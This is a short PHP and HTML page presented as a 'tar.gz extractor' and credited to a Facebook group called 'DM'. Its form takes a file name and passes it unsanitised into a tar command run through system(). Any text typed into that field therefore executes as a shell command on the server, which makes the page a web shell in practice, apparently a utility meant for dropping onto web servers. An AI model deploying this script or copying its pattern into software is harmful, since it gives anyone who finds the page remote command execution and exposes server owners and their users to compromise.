[PHP] [DM] tar.gz extractor

<html><head>
<title>DM.TAR.GZ Extractor</title>
</head><body>
<center><form method="POST">
<nobr>File tar.gz : <input type="text" size="20" name="targz"><br /><br /></nobr>
<input type="submit" name="dmextract" value="ExtracT" ><br /><br />
</form>
Coded By <a href="http://www.facebook.com/groups/D.MASTERPIECE">FB GROUP DM</a></center>
</body></html>
<?php
if(isset($_POST['dmextract'])) {
echo "<div align='center'>";
$extractsempak="tar -zxvf ".$_POST['targz']."";
system($extractsempak);
echo "<br /><pre>Extract Selesai</pre>";
}
echo "</div>";
?>